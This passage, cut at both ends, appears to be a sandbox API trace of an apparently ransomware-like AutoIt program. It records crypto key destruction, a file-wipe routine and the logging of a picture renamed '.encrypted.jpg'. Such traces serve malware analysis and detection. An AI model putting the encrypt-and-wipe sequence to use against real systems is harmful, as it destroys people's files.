lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.086] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.086] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.086] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.086] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.086] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.086] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.086] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.086] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.086] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.086] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.088] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.088] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.089] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.089] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.089] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.089] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.089] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.089] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.089] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.089] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.089] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.089] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.090] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.090] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.090] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.090] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.090] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.090] CryptReleaseContext (hProv=0xe8f406a550, dwFlags=0x0) returned 1 [0028.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.090] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.090] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.090] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.090] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.091] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.091] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.091] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.091] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.091] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.091] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.091] CharLowerBuffW (in: lpsz="byte[28972]", cchLength=0xb | out: lpsz="byte[28972]") returned 0xb [0028.091] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.091] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.091] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.091] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.091] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.091] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.091] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.091] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.091] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.092] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.093] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.093] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.093] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.093] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.093] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.093] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.093] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.093] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.093] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.093] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.093] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.093] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.093] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.093] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.093] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.093] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.094] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.094] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.094] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.094] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.094] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.094] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.094] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.094] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.094] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=8433) returned 1 [0028.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.095] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x20f1, lpOverlapped=0x0) returned 1 [0028.095] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x20f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=8433) returned 1 [0028.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\Lm78sADYfv9pBzFMCulK.encrypted.jpg\r\n", cchWideChar=93, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 93 [0028.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\Lm78sADYfv9pBzFMCulK.encrypted.jpg\r\n", cchWideChar=93, lpMultiByteStr=0xe8f4062330, cbMultiByte=93, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\Lm78sADYfv9pBzFMCulK.encrypted.jpg\r\n", lpUsedDefaultChar=0x0) returned 93 [0028.095] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40623a0*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40623a0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x5c, lpOverlapped=0x0) returned 1 [0028.095] CloseHandle (hObject=0x188) returned 1 [0028.097] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.097] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.097] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.097] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.097] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.097] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.098] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.098] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.099] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178580, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.099] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178880, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.099] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\r69N iygd.png", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0028.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 